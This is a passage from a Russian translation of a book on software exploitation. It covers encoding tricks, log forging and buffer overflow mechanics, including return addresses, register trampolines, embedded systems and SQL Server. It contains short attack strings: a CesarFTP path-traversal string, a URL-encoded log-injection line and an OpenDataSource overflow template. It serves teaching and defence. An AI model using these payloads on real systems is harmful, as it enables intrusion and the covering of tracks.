несколько эквивалентных способов запроса одного и того же Webсайта.
http://msdn.microsoft.com
http://207.46.239.122
http://3475959674

Скомбинированные атаки
Очевидно, что все рассмотренные в этой главе хитрости можно применить ком
плексно при проведении различных атак.
Шаблон атаки: сочетание хитростей с символами косой черты
и URL-кодированием
В одной атаке можно объединить два или более методов альтернативного кодирования
символов.

Комбинация методов кодирования для CesarFTP
Александр Цезари (Alexandre Cesari) создал бесплатный FTPсервер для Win
dowsсистем, в котором проявляется проблема фильтрации содержимого при много
кратном кодировании. В FTPсервер CesarFTP добавлен компонент Webсервера, на
который можно провести успешную атаку с помощью трех символов точки и URL
кодирования.
Для проведения атаки хакер может в URLадрес добавить строку, подобную при
веденной ниже.
/...%5C/
7

Более подробная информация по этой теме доступна по адресу http://www.securitytracker.com/alerts/2001/Oct/1002531.html.

Подготовка вредоносных данных

245

Это весьма интересная атака, поскольку она является комбинацией нескольких
хакерских приемов: символа начала управляющей последовательности (/), URL>
кодирования и трех символов точки.

Искажение данных в файлах журналов
До этого момента в основном обсуждались атаки на фильтры и рассматривались
ошибки серверов при классификации входных данных. Еще одна область, в которой
может пригодиться использование альтернативно закодированных символов, — это
манипуляции с файлами журналов. Можно назвать множество примеров, когда ха>
керы искажали данные журналов с целью избежать обнаружения. Это прекрасный
способ уничтожить “следы преступления”, которые потом могли быть использованы
при судебном разбирательстве.
Шаблон атаки: искажение по Web-информации журналов
Символы начала управляющей последовательности часто преобразуются до того, как они
сохраняются в файле журнала. Например, при использовании сервера IIS строка
/index%2Easp записывается в файл журнала как /index.asp. Для создания подложных
записей в журнале можно воспользоваться более сложной строкой, например:
/index.asp%FF200%FFHTTP/1.1%0A00:51:11%FF[192.168.10.10]
%FFGET%FF/cgi-bin/phf
Эта строка заставляет осуществить в файле журнала возврат каретки, что позволяет создать подложную запись, которая уведомляет о том, что с адреса 192.168.10.10 был запрошен cgi-bin/phf.

Проблемы подобного рода известны уже достаточно давно. В самом худшем слу>
чае при просмотре файла журнала с помощью утилиты grep или другого сценария
анализа, запускалась специально подготовленная программа атаки. В данном случае
атака непосредственно направлена на механизм обеспечения безопасности. Очевид>
но, что здесь могут быть задействованы многие уровни кодирования и интерпрета>
ции. Сотрудникам тех организаций, в которых осуществляется простой метод ана>
лиза файлов журналов, можно задать следующий вопрос: доверяете ли вы символам,
сохраненным в ваших файлах журналов?
Обратите внимание, что таким атакам будут подвергаться только средства анали>
за журналов, которые способны работать с активным содержимым. Простые утили>
ты наподобие grep чаще всего неуязвимы для подобных проблем. Безусловно, даже
в простых средствах могут быть ошибки или просчеты, которыми можно воспользо>
ваться при атаке (самое интересное, что такие программки чаще всего запускаются
от имени корневого пользователя или администратора).

Резюме
В начале этой главы мы рассказали о сложностях, связанных с проблемами от>
крытых динамических систем и с тем, что входные данные влияют на состояние про>
граммного обеспечения. На конкретных примерах было продемонстрировано, как

246

Глава 6

специально подготовленные входные данные обходят механизм фильтрации и обо>
рудование систем обнаружения вторжений.
Проблемы безопасности, обусловленные изменением состояния с течением вре>
мени (динамика системы), становятся все более и более сложными, в то время как
известные и легкие для обнаружения ошибки (например ошибки переполнения бу>
фера) постепенно исчезают из программного кода. Поскольку системы становятся
все более распределенными, в атаках все чаще используются состояния “гонки на
выживание” и десинхронизации между удаленными частями. Для решения этих
сложных проблем потребуется создание программ нового поколения, с большими
интеллектуальными возможностями и немалым творческим потенциалом.

Переполнение буфера

247

Глава 7

Переполнение буфера

П

ереполнение буфера было и остается очень важной проблемой в аспекте безо>
пасности программного обеспечения. Именно с возможностью использования
атак на переполнение буфера для удаленного внедрения вредоносного кода связаны
непрекращающиеся дискуссии и шумиха вокруг атак этого класса. Хотя методы
проведения атак на переполнение буфера получили широкую огласку и рассмотре>
ны во многих статьях и книгах, но мы не сомневаемся в необходимости этой главы.
Проблема переполнения буфера с годами только усложнялась, появлялись другие
типы атак, и в результате были разработаны принципиально новые атаки на пере>
полнение буфера. Эта глава, по меньшей мере, может послужить в качестве основы
для понимания хитроумных технологий атак на переполнение буфера.

Переполнение буфера
Атаки на переполнение буфера остаются в наборе наиболее мощных средств ха>
керов, и, похоже, такое положение дел сохранится еще несколько лет. Частично это
объясняется широким распространением уязвимых мест, которые приводят к воз>
можности проведения атак на переполнение буфера. Если существуют бреши в сис>
теме защиты, то рано или поздно ими воспользуются. В программах, созданных с
помощью языков программирования, в которых заложены устаревшие возможности
управления памятью, например в программах на C и C++, ошибки, связанные с воз>
можностью проведения атак на переполнение буфера, к сожалению, возникают ча>
1
ще, чем следует . До тех пор, пока разработчики не начнут учитывать проблемы
безопасности при использовании определенных библиотечных функций и систем>
ных вызовов, атаки на переполнение буфера останутся в арсенале излюбленных
средств хакеров.
1

С технической точки зрения языки программирования C и C++ являются “уязвимыми”
языками программирования, поскольку в программах на этих языках программист может без
наказанно ссылаться на биты данных, отбрасывать и перемещать их, т.е. всячески манипу
лировать ими. В усовершенствованных языках программирования (наподобие Java и С#) при
меняются технологии “безопасности типов”, и поэтому их применение намного предпочти
тельнее с точки зрения безопасности. — Прим. авт.

248

Глава 7

Существует масса различных вариантов уязвимых мест, связанных с ошибками
при управлении и “утечками” памяти. Поиск в системе Google по словосочетанию
“buffer overflow” дает более 176000 ссылок. Очевидно, что ранее тайная и тщательно
скрываемая методика проведения атак стала общеизвестной. Тем не менее, боль>
шинство злоумышленников (и специалистов по обеспечению защиты) имеют только
поверхностное представление о технологии атак на переполнение буфера и о том
ущербе, который эти атаки способны причинить. Большинство людей, интересую>
щихся проблемами безопасности (те, кто читает статьи по безопасности, посещает
конференции и присутствует на презентациях программ для обеспечения безопасно>
сти), хорошо знают, что атаки на переполнение буфера позволяют удаленно вне>
дрить вредоносный код в чужую систему и запустить этот код. В результате появля>
ется возможность добавления вирусов и другого переносимого кода для атаки на
систему, а также установки потайных ходов, например, с помощью наборов средств
для взлома (rootkit). К тому же, как правило, все эти действия вовсе не сопряжены
со сверхчеловеческими усилиями.
Ошибки переполнения буфера относятся к тому виду ошибок, которые характер>
ны для работы с памятью. Они уже вошли в историю компьютерных технологий.
Когда>то память была “точным” ресурсом и управление памятью имело критически
важное значение. В некоторых из систем того времени, например в системе исследо>
вательского спутника “Вояджер”, работа с памятью была организована настолько
точно, что как только определенные части машинного кода больше не требовались,
код навсегда стирался с модуля памяти, освобождая место для других данных. Это
позволило создать саморазрушающуюся программу, которая могла быть выполнена
только однажды. Яркий контраст с такой технологией представляют собой совре>
менные системы, в которых память расходуется огромными мегабайтовыми облас>
тями и практически никогда не освобождается. В большинстве современных компь>
ютерных систем существуют серьезные проблемы при работе с памятью, особенно
когда эти системы подключены к потенциально опасным средам взаимодействия,
например Internet. Модули памяти достаточно дешевы, но последствия некоррект>
ного управления памятью могут стоить очень дорого. Неправильное управление па>
мятью может привести к внутреннему искажению данных программы (особенно от>
носительно потока управляющих команд), проблемам отказа в обслуживании и даже
к возможности проведения удаленных атак на переполнение буфера.
Как ни странно, хотя уже давно нет никакого секрета в том, как избежать про>
блем с переполнением буфера, однако, несмотря на доступность решений в течение
многих лет, но практически ничего не сделано для устранения проблем с переполне>
нием буфера в программном коде для сетевых программ. На самом деле не так
сложно решить эти проблемы с технической точки зрения, как с социальной. Основ>
ное затруднение заключается в том, что разработчики остаются весьма беспечными в
2
отношении этой проблемы . Похоже, что следующие пять>десять лет различные ва>
рианты атак на переполнение буфера будут оставаться весьма актуальными.
Программисты умеют без особых затруднений устранять ошибки на переполне>
ние буфера самой распространенной формы, а именно ошибки на переполнение бу
фера в стеке (stack overflow). Устранить более замысловатые разновидности иска>
2

Избежать ошибок относительно вопросов безопасности в программном коде помогут
книги Building Secure Software и Writing Software Code. — Прим. авт.

Переполнение буфера

249

жения данных в памяти, включая переполнение буфера в куче (heap overflow), значи>
тельно сложнее. В общем, уязвимые места, связанные с переполнением буфера, про>
должают оставаться продуктивным средством для взлома программного обеспечения,
что обусловлено широким применением современных схем управления памятью.

Переполнение буфера в стеке для забавы и с пользой3
Мысленно возвращаясь во времена создания первых систем UNIX, вполне ло>
гично было бы предположить, что хорошо бы добавитьпроцедуры обработки строки
в язык программирования C. Большинство из этих процедур предназначены для ра>
боты со строками, которые завершаются символом NULL (так как символ NULL
является нулевым байтом). Для эффективности и простоты в этих процедурах поиск
символа NULL выполнялся в полуавтоматическом режиме таким образом, что про>
граммист не должен был непосредственно задавать размер строки. Предполагалось,
что такой метод будет нормально работать, поэтому он и получил повсеместное рас>
пространение. К сожалению, поскольку основополагающая идея была очень и очень
неудачной, теперь всем известна “всемирная болезнь” под названием переполнение
буфера.
Очень часто процедуры обработки строки в программах на языке C без всякой
проверки рассчитывают на то, что пользователь предоставил символ NULL. Когда этот
символ отсутствует, программа буквально “взрывается”. Этот взрыв может иметь
необычные побочные эффекты, которыми может воспользоваться хакер для внедре>
ния вредоносного машинного кода, исполняемого на атакуемом компьютере. В от>
личие от атак на анализаторы или вызовы функций API, атаки на переполнение бу>
фера можно назвать структурными атаками, в которых используются недостатки ар>
хитектуры процесса выполнения программы. В каком>то смысле эти атаки просто
разрушают стены нашего метафорического дома программного обеспечения, что
приводит к разрушению всего дома.
Переполнение буфера возникает в результате очень простой, но постоянно по>
вторяющейся ошибки при программировании (которой легко избежать). Самое
серьезное затруднение состоит в том, что ошибки переполнения буфера стали на>
столько распространенными, что потребуются многие годы на окончательное реше>
ние этой проблемы. Но это только одна из причин, по которой переполнение буфера
стали называть “атомной бомбой всех уязвимых мест программного обеспечения”.

Искажение данных в памяти
Одно из возможных последствий ошибки при управлении памятью — это распре>
деление искаженных данных поблизости определенной критичной области памяти.
Выполняя контролируемое внедрение данных при переполнении буфера и наблюдая
за изменениями в памяти с помощью отладчика, хакер вполне способен найти точки,
в которых можно разрушить данные в памяти. В некоторых случаях, при искажении
данных в областях памяти, в которых хранятся критически важные данные или ин>
формация о состоянии программы, злоумышленник может заставить программу
снять все механизмы защиты или выполнить другое нужное хакеру действие.
3

См. одноименную статью Алефа Вана (Aleph One) “Smashing the stack for fun and profit”.

250

Глава 7

Во многих программах информация о глобальном состоянии программы хранит>
ся в памяти в виде переменных, значений и двоичных флагов. В случае использова>
ния двоичных флагов, значения одного бита бывает достаточно для принятия важ>
ных решений. Например, решения о праве пользователя на доступ к файлу. Если та>
кое решение основано на значении бита флага в памяти, то в программе точно есть
интересная точка для атаки. Если (даже случайно) значение этого флага будет изме>
нено на противоположное, то в работе программы произойдет сбой (который приве>
4
дет к переходу в уязвимое состояние) .
Во время подробного исследования ядра системы Windows NT один из авторов
этой книги (Хогланд) обнаружил ситуацию, при которой внешне безобидное изме>
нение значения одного бита устраняет все настройки безопасности для всей сети
компьютеров под управлением Windows. Мы подробно рассмотрим эту ошибку в
главе 8, “Наборы средств для взлома”.

Вектор вторжения
Вектор вторжения (injection vector) — 1) структурный просчет или недоста>
ток в программе, который позволяет перемещать код из одного места хране>
ния в другое; 2) структура данных или среда, которая содержит и передает
код из одной области хранения в другую.
Что касается переполнения буфера, векторы вторжения представляют собой
тщательно подготовленные входные сообщения, которые заставляют атакуемую
программу переходить в состояние переполнения буфера. Для удобства дальнейше>
го изложения будем считать вектор вторжения фрагментом атаки, во время которой
происходит внедрение и запуск кода в программе (обратите внимание, что, давая
данное определение, мы не указали цели, для которой внедряется этот код).
Очень важно различать вектор вторжения и полезную нагрузку (payload). Полез>
ная нагрузка — это программный код, который реализует намерения хакера. Комби>
нация вектора вторжения и полезной нагрузки используется для проведения полной
атаки. Без полезной нагрузки вектор вторжения неэффективен, т.е. обычно хакеры
используют вторжение для каких>то конкретных задач.
В основном, вектор вторжения в парадигме переполнения буфера служит для по>
лучения контроля над указателем команд. После получения контроля над указате>
лем команд, он может быть установлен на какой>то контролируемый хакером буфер
или другую область памяти, в которой сохранена полезная нагрузка. Таким образом,
когда хакер получил контроль над указателем команд, он получает возможность пе>
редать управление (изменить ход выполнения программы) от нормально выпол>
няющейся программы программному коду вредоносной полезной нагрузки. Хакер
заставляет указатель команд указать на вредоносный код, что приводит к его ис>
полнению. При этом мы говорим об активизации полезной нагрузки.
Векторы вторжения всегда связаны с конкретной ошибкой или уязвимым местом
в атакуемом программном обеспечении. Для каждой версии пакетов программного
4

Интересно, что случайное искажение данных в памяти может изменить значение бита так
же легко, как и целенаправленная атака на переполнение буфера. Специалисты по обеспечению на
дежности программного обеспечения борются с этой проблемой уже многие годы. — Прим. авт.

Переполнение буфера

251

обеспечения существуют уникальные векторы вторжения. При разработке средств
нападения хакер должен спроектировать и создать конкретные векторы вторжений
для каждой конкретной цели атаки.
При создании вектора вторжения должны учитываться несколько факторов: раз>
мер буфера, упорядочивание данных в памяти и ограничения в наборе символов.
Векторы вторжения обычно соответствуют правилам определенного протокола. На>
пример, переполнение буфера в маршрутизаторе может быть организовано с помо>
щью вектора вторжения для обработчика пакетов протокола BGP (Border Gateway
Protocol), как показано на рис 7.1. Этот вектор вторжения реализован как специаль>
но подготовленный BGP>пакет. Поскольку поддержка протокола BGP жизненно не>
обходима для нормальной работы в Internet, то подобная атака способна уничтожить
системы, обслуживающие миллионы пользователей. Более реальный пример — про>
токол OSPF (Open Shotest Path First). В маршрутизаторах Cisco реализация этого
протокола может быть использована для удаления информации о целой локальной
сети крупного сетевого узла. Протокол OSPF является уже достаточно старым, но
широко распространенным протоколом маршрутизации.
“Заражение”
близлежащих
маршрутизаторов

BGP+пакет
Маршрутизатор Cisco

вредоносный
код
Указатель
команд активизирует...

Рис. 7.1. Для взлома маршрутизаторов Cisco можно использовать вредоносный BGPпакет
A A A A
A A A A
A A A A A A

Стек или куча
Скопировано в память
A A A A A A A A

Сохраненный
указатель

A B B B B
A A A A A A A A A A

B BB B
EIP

B B B B

Активизация

CPU

Рис. 7.2. Размещение указателя в центральном процессоре атакуемого компьютера
является одним из важнейших элементов программ атаки на переполнение буфера

252

Глава 7

Где заканчивается вектор вторжения и начинается
полезная нагрузка?
Для атак на переполнение буфера характерно наличие четкой границы между
вектором вторжения и полезной нагрузкой. Эта граница называется адресом возвра
та (return address). Адрес возврата можно схематично определить тем моментом, ко>
гда полезная нагрузка либо получает управление над центральным процессором, ли>
бо не срабатывает и уходит в безызвестность. На рис. 7.2 показан вектор вторжения,
содержащий указатель команд, который в конечном итоге загружается в централь>
ный процессор (CPU) атакуемого компьютера.

Выбор нужного адреса
Одной из наиболее важных задач вектора вторжения является выбор области па>
мяти, в которой должна быть сохранена полезная нагрузка. Полезную нагрузку
можно сохранить непосредственно во внедренном буфере или в отдельной области
памяти. Хакер должен знать адрес ячейки па>
мяти, в которой хранится полезная нагрузка, и
A000
этот адрес должен быть использован в векторе
A100
вторжения (рис. 7.3). Понятно, что ограниче>
A200
ния для набора символов, которые могут быть
...
использованы в векторе вторжения, приводят к
ограничениям в значениях, допустимых для
указания адресов памяти.
B000
B100
Например, при ограничении на ввод только
B200
B003100A
чисел
больше чем 0xB0000001, выбранный
...
указатель команд должен находиться в памяти
Указатель
команд
выше этого адреса. Такие ограничения соответ>
ствуют реальным проблемам, возникающим
C000
...
при преобразовании анализаторами байтов, ко>
торые используются для символов кода атаки,
в другие значения, или при работе фильтров,
которые блокируют недопустимые символы в
потоке данных. На практике во многих атаках
Рис. 7.3. Указатель команд указывает применяются только буквенно>цифровые сим>
на полезную нагрузку в памяти
волы.

“Верхние” и “нижние” адреса памяти
Стек — это область памяти, стандартно используемая для хранения кода. Для стека
на Linux>компьютерах выделяется адресное пространство, в которое обычно не попа>
дают нулевые байты. С другой стороны, на Windows>системах для стека выделяются
“нижние” адреса и по крайней мере один из байтов адреса стека является нулевым
байтом. Проблема в том, что использование адресов с нулевыми байтами приводит к
появлению в строке внедряемых данных большого количества символов NULL. По>
скольку символы NULL используются в строках программного кода на языке C как
символы завершения строки, то это ограничивает размер внедряемых данных.

Переполнение буфера

253

“Верхний” стек
0x72103443
0x7210343F
0x7210343B
0x72103438

....
....
....
[начало полезной нагрузки ]

0x72103434

....

“Нижний” стек
0x00403343

...

0x0040333F

...

0x0040333B

[начало полезной нагрузки ]

0x00403338

...

Если мы хотим установить указатель команд на показанную выше полезную на>
грузку, то указатель команд для “верхнего” стека — 0x38341072 (обратите внима>
ние на обратный порядок записи байтов), а указатель команд для “нижнего” стека —
0x3B034000 (обратите внимание на значение последнего байта 0x00). Поскольку в
конце адреса для “нижнего” стека содержится символ NULL, то это прервет опера>
цию копирования строки в программе на языке C.
Для вектора вторжения и организации переполнения буфера с помощью строки
мы по>прежнему можем использовать “нижние” адреса. Единственная сложность в
том, что внедряемый адрес должен быть последним элементом в нашем векторе
вторжения, поскольку нулевой байт завершит операцию копирования строки. В этом
случае размер полезной нагрузки будет существенно ограничен. Для проведения
атак при подобных обстоятельствах полезная нагрузка (в большинстве случаев)
должна быть “втиснута” до адреса перехода. На рис. 7.4 показан указатель, установ>
ленный после полезной нагрузки. Полезная нагрузка предшествует адресу ячейки
памяти внедренных данных. Дело в том, что адрес памяти завершается символом
NULL, и поэтому этот адрес должен завершать вектор вторжения. Полезная нагруз>
ка ограничена в размерах и должна умещаться в пределах вектора вторжения.
В подобных ситуациях есть альтернативные
варианты решения проблемы. Например, хакер
Полезная нагрузка:
3B 03 40 00
может разместить полезную нагрузку где>
машинный код
нибудь в другой области памяти, используя
другой метод. Или еще лучше, когда какая>то Вектор вторжения
другая операция приложения позволяет запи>
Рис. 7.4. Иногда указатель должен быть
сать вредоносный код командного интерпрета> установлен после нагрузки. Особенно
тора в другую область кучи или стека. Если со> это касается указателей на адреса па
блюдается одно из этих условий, то нет необхо> мяти, завершающиеся символом NULL
димости размещать полезную нагрузку в вектор
вторжения. В векторе вторжения можно просто указать область памяти (адрес),
в которой находится заранее размещенная полезная нагрузка.

Прямой и обратный порядок байтов
На различных платформах многобайтовые числа сохраняются двумя различны>
ми способами. Выбранная схема представления определяет метод представления чи>
сел в памяти (и то, как эти числа могут быть использованы при атаке).

254

Глава 7

Людям, которые привыкли читать слева направо, обратный порядок байтов
(“little endian”) может показаться достаточно необычным. При этом способе пред>
ставления число 0x11223344 в памяти будет отображено как
44

33

22

11

Обратите внимание, что старшие байты числа находятся справа.
При прямом порядке байтов (“big endian”) то же самое число отображается в па>
мяти более привычным образом.
11

22

33

44

Использование регистров
В большинстве компьютеров данные, которые хранятся в регистрах процессора,
обычно указывают на адрес памяти, где (и рядом с которым) находится точка, в ко>
торой происходит вторжение. Вместо того, чтобы угадывать, где закончится полез>
ная нагрузка в памяти, хакер может использовать регистры. Хакер выбирает адрес
вторжения, указывающий на код, который извлекает значение из регистра, или вы>
зывает переход к области памяти, указанной в регистре. Если хакер знает, что значе>
ние интересующего регистра указывает на контролируемую пользователем область
памяти, то в векторе вторжения этот регистр может использоваться для считывания
контролируемой области памяти. В некоторых случаях хакеру вообще не нужно вы>
яснять адрес полезной нагрузки или жестко кодировать этот адрес.
На рис. 7.5 показано, что вектор вторжения хакера был преобразован в адрес
0x00400010. Адрес внедрения появляется в середине вектора вторжения. Полезная
нагрузка начинается с адреса 0x00400030 и включает в себя также короткий пере>
ход в целях продолжения полезной нагрузки с другой стороны от адреса внедрения
(очевидно, что мы не хотим, чтобы адрес внедрения был исполнен как код, посколь>
ку в этом случае данный адрес будет бессмысленным для процессора).
00400010

вектор
вторжения

00400030
короткий
переход

CPU
EAX: 00400030
EBX: 00000000
ECX: 75302031
...

адрес
внедрения

push eax
ret
0x50C3

Рис. 7.5. Иногда указатель содержится
в середине полезной нагрузки. Затем
этот указатель (обычно) можно обой
ти с помощью перехода

Переполнение буфера

255

В этом примере хакеру вообще не нужно точно знать, где в памяти находится
вектор вторжения. Исходя из значений регистров процессора, регистр EAX указыва>
ет на адрес стековой памяти 0x00400030. Во многих случаях проявляется зависи>
мость от определенных значений, сохраненных в регистрах. Используя значение ре>
гистра EAX, злоумышленник может перенаправить указатель к определенной облас>
ти памяти, которая содержит байты 0x50C3. Когда этот код интерпретируется
центральным процессором, он означает следующее:
push eax
ret

Это приводит к тому, что значение регистра EAX вставляется в указатель команд
и происходит активизация полезной нагрузки. Стоит заметить, что для этого приме>
ра байты 0x50C3 могут быть записаны в любом месте памяти. Далее мы объясним,
почему.

Использование существующего кода или блоков
данных в памяти
Если хакер хочет использовать регистр для вызова полезной нагрузки, он должен
разместить набор команд, которые отвечают за выполнение технических задач. За>
тем хакер жестко кодирует адрес, где хранятся эти команды. Любой набор байтов
может быть расценен атакуемым процессором как команды, поэтому хакеру вовсе
необязательно заниматься поиском действительного блока кода. На самом деле ха>
керу достаточно найти только набор байтов, которые при определенных условиях
будут интерпретированы как интересующие его команды. Заметим, что для этого
подойдут любые байты. Хакер может даже выполнить операцию, которая вставит
эти байты в надежную область. Например, хакер отправит приложению запрос в ви>
де строки символов, который будет интерпретирован как машинный код. В векторе
вторжения будет жестко закодирован адрес, где сохранен этот запрос (при этом со>
хранение происходит совершенно законно), а затем этот запрос будет использован
для неблаговидных целей.

Переполнение буфера и встроенные системы
Встроенные системы существуют повсюду и к ним относятся все типы устройств,
которые мы используем ежедневно: сетевое оборудование, принтеры, мобильные те>
лефоны и другие небольшие устройства. Неудивительно, что программный код, с
помощью которого осуществляется управление этими встроенными системами, осо>
бенно уязвим для атак на переполнение буфера. Из этого факта следует любопыт>
ный вывод: в то время, как серверное программное обеспечение становится все более
устойчивым против атак на переполнение буфера, сегодня основной акцент этих
атак смещается на программное обеспечение для встроенных систем.
Встроенные системы запускаются на самых различных аппаратных платформах.
В большинстве таких систем для хранения данных используется технология
NVRAM. В этом разделе мы рассмотрим множество атак на переполнение буфера
против встроенных систем.

256

Глава 7

Встроенные системы, используемые в военной
и коммерческой сферах
Встроенные системы широко распространены в современных платформах уст>
ройств военного предназначения начиная от систем связи и заканчивая радарными
сетями. Удачным примером стандартной военной системы, в которой используются
многочисленные встроенные возможности, является радарная система AN/SPS>73.
Эта радарная система работает под управлением защищенной системы VxWorks
(стандартной, коммерческой, встроенной операционной системы для работы в ре>
альном времени). Как и в большинстве коммерческих систем с закрытым исходным
кодом, в операционной системе VxWorks и связанном с ней программном коде есть
достаточно много ошибок, позволяющих проводить атаки на переполнение буфера.
Большинство этих уязвимых мест могут быть использованы без аутентификации,
например, с помощью RPC>пакетов. Таким образом, оборудование со встроенными
системами является не менее привлекательной целью для атак, чем обычное про>
граммное обеспечение.
Чтобы понять всю серьезность проблемы, рассмотрим следующий сценарий.
Встроенные системы как цели атаки
Как известно, Турция, в силу своего географического положения, играет немаловажную
роль в экспорте каспийской нефти с помощью танкеров. Правда, перевозка нефти осуществляется через очень узкие проливы (причем их длина составляет около 300 км). Чтобы остановить поставки нефти из Каспийского моря на несколько дней, хакеру достаточно провести
удаленную атаку на компьютер, отвечающий за навигацию танкеров, и спровоцировать аварийную ситуацию.
Такая гипотетическая атака не так уж далека от реальности, как может показаться на
первый взгляд. На современных танкерах установлены автоматические системы навигации, которые связаны с глобальной системой VTMIS (Vessel Traffic Management Information
System). Эта интегрированная система призвана облегчить работу капитана при плохих погодных условиях, встречном движении и возможных аварийных ситуациях. Для доступа ко
всем управляющим функциям этой системы требуется пройти аутентификацию. Однако эта
же система VTMIS поддерживает также функции отслеживания информации и отправки сообщений, для доступа к которым не требуется ни имени пользователя, ни пароля. Запросы
принимаются протоколом и затем обрабатываются внешним программным модулем. Данное программное обеспечение было написано на языке C, и система навигации уязвима
для атак на переполнение буфера, которые позволяют обойти стандартную процедуру аутентификации, т.е. хакер может использовать классические ошибки для загрузки новой программы управления танкером.
Хотя для обеспечения безопасности в программе навигации доступно множество возможностей для переключения на ручное управление, но опытный хакер имеет хорошие шансы
для создания серьезной аварии танкера, внедрив вредоносную программу в управляющее
оборудование танкера, особенно если такое внедрение происходит при прохождении кораблем опасного участка пути. Любая аварийная ситуация на танкере может привести к утечке
тысяч галлонов нефти в узком проливе и, как следствие, блокированию пути сообщения на
несколько дней (и действительно, проливы Турции настолько опасны для навигации, что происходит значительное количество аварий и без атак хакеров).

Переполнение буфера

257

И все же довольно распространенным является мнение, что встроенные системы
неуязвимы для удаленных атак, что якобы изза отсутствия в устройстве интерак
тивного командного интерпретатора доступ или использование “кода командного
интерпретатора” невозможно. Вот почему многие люди (ошибочно) поясняют, что
самое худшее, на что способны хакеры в данном случае, — это вывести из строя
управляемое ими устройство. На самом деле внедренный код способен выполнить
любой набор команд, включая полную программу командного интерпретатора, кото
рая упакована для удобного использования, поддерживая функции уровня операци
онной системы. Не имеет никакого значения тот факт, что этот код не поставляется
вместе с устройством. Очевидно, что этот код может быть просто добавлен в атакуе
мое устройство во время атаки. Другими словами, при подобных атаках совсем не
требуется наличие полнофункционального интерактивного командного интерпрета
тора TCP/IP. Вместо этого при атаке может полностью стираться конфигурацион
ный файл или подменяться пароль.
Существует множество сложных программ, которые могут быть установлены в
ходе удаленных атак на встроенную систему. Код командного интерпретатора явля
ется только одним из вариантов. Даже код самых необычных устройств может быть
восстановлен, выполнена его отладка и исследование. Вовсе неважно, какой исполь
зуется процессор или схема адресации, поскольку хакеру нужно только создать дей
ствующий код для атакуемых аппаратных средств. В основном, аппаратные средства
со встроенным программным обеспечением хорошо документированы и эта доку
ментация является общедоступной.
Правда, определенные типы важных устройств не подключены непосредственно
к сетям, к которым имеют доступ потенциальные хакеры. Например, к Internet не
подключены устройства наведения баллистических ядерных ракет, средства проти
вовоздушной обороны и устройства запуска ракет.

Переполнение буфера в маршрутизаторе Cisco на основе
процессора Motorola
Исследовательская группа по проблемам безопасности Phenoelit создала про
грамму с кодом командного интерпретатора для проведения удаленной атаки на
маршрутизатор Cisco 1600 на основе процессора Motorola 68360 QUICC (программа
была представлена на азиатской конференции Blackhat в 2002 году). Для этой атаки
в векторе вторжения используется переполнение буфера в операционной системе
IOS от Cisco и несколько новых методов использования структур управления кучей
в IOS. Изменяя структуры кучи, можно внедрить и исполнить вредоносный код. В
опубликованном варианте атаки код командного интерпретатора представляет со
бой созданный вручную код в виде машинных команд Motorola, который открывает
потайной ход на маршрутизаторе. Этим кодом можно воспользоваться при наличии
5
любого переполнения буфера в устройствах Cisco .

5

Более подробная информация об этой атаке доступна по адресу http://www.
phenoelit.de.

258

Глава 7

Переполнения буфера в системах управления
базами данных
Системы управления базами данных (СУБД) нередко бывают наиболее дорого>
стоящими и наиболее важными частями крупных корпоративных систем, работаю>
щих в реальном времени, что делает их целью вероятных атак. Некоторые сомнева>
ются в том, что системы управления базами данных уязвимы для атак на переполне>
ние буфера, но это правда. Используя стандартные операторы SQL, в этом разделе
мы продемонстрируем, как некоторые атаки на переполнение буфера работают в
среде баз данных.
В любой системе управления базами данных существует несколько точек для
проведения атак. Крупное приложение для работы с базой данных состоит из бес>
численного количества взаимодействующих компонентов. В их число входят сцена>
рии (объединяющие различные части приложения воедино), программы для работы
через интерфейс командной строки, хранимые процедуры и клиентские программы,
непосредственно связанные с базой данных. Каждый из этих компонентов является
потенциальным объектом для проведения атаки на переполнение буфера.
В самом коде системы управления базой данных могут быть ошибки анализатора
и проблемы преобразования чисел со знаком и без, которые приводят к проблемам
переполнения буфера. В качестве примера уязвимой платформы можно назвать SQL
Server, в котором есть функция OpenDataSource(), уязвимая для атак на пере>
6
полнение буфера .
Атака на функцию OpenDataSource() была выполнена с помощью протокола
транзакций SQL (T>SQL), для которого устанавливается привязка к TCP>порту 1433.
По существу, этот протокол позволяет многократно передавать анализатору опера>
торы SQL. Например, для проведения этой атаки оператор SQL может выглядеть
приблизительно следующим образом.
SELECT * FROM OpenDataSource("Microsoft.Jet.OLEDB.4.0","Data
Source="c:\[NOP SLED Padding Here][ Injected Return Address ][ More
padding][Payload]";User ID=Admin;Password=;Extended properties=Excel
5.0")...xactions'

В этом примере [NOP SLED], [Padding], [Return Address] и [Payload]
представляют собой блоки кода, вставленные в обычную строку в формате Unicode.

Хранимые процедуры
Хранимые процедуры часто используются для передачи данных сценариям или
библиотекам DLL. Если в сценарии или библиотеке DLL есть ошибки строки фор>
матирования, или если в сценарии используются уязвимые вызовы библиотечных
функций (вспомним хотя бы strcpy() или system()), то появляется шанс ис>
пользовать их в своих целях с помощью системы управления базой данных. Практи>
чески каждая хранимая процедура передает часть запроса. В данном случае хакер
может использовать передаваемую часть запроса для переполнения буфера.

6

Эта проблема была обнаружена Дэвидом Литчфилдом (David Litchfield). Выполните по
иск в Internet информации о программе атаки mssqlods. — Прим. авт.

Переполнение буфера

259

Хорошим примером может послужить давняя ошибка в Microsoft SQL Server.
Злоумышленник мог вызвать переполнение буфера в коде, который обрабатывает
7
расширенные хранимые процедуры .

Программы с интерфейсом командной строки
Иногда сценарий или хранимая процедура вызывают программу с интерфейсом
командной строки и подают ей на ввод данные из запроса. Во многих случаях это
приводит к переполнению буфера или уязвимому месту с возможностью передачи
команд. Кроме того, если в сценарии не используется библиотека API для работы с
базой данных, то обычные операторы SQL могут быть переданы для обработки про>
грамме с интерфейсом командной строки. Это еще одна возможность для организа>
ции атаки на переполнение буфера.

Клиентские программы базы данных
Когда клиентская программа делает запрос, она обычно должна обработать полу>
ченный результат. Если хакер сможет исказить данные ответа на запрос, в клиент>
ской программе возникнет ситуация переполнения буфера. Такие атаки очень эф>
фективны, когда с базой данных одновременно работает большое количество поль>
зователей. Тогда хакер одним махом способен скомпрометировать сотни клиентских
компьютеров.

Переполнение буфера и Java
Широко распространено мнение, что Java>код не подвержен проблемам, связан>
ным с переполнением буфера. В целом это соответствует действительности. По>
скольку в Java используется модель управления памятью, в которой обеспечивается
безопасность типов, то невозможно “нырнуть” в одном объекте и “вынырнуть” в дру>
гом. Это блокирует многие атаки на переполнение буфера. И действительно мил>
лионы долларов были потрачены на создание виртуальной машины Java с целью
сделать среду исполнения программного обеспечения неуязвимой для многих клас>
сических атак. Однако, как мы уже знаем, любое предположение о полной безопас>
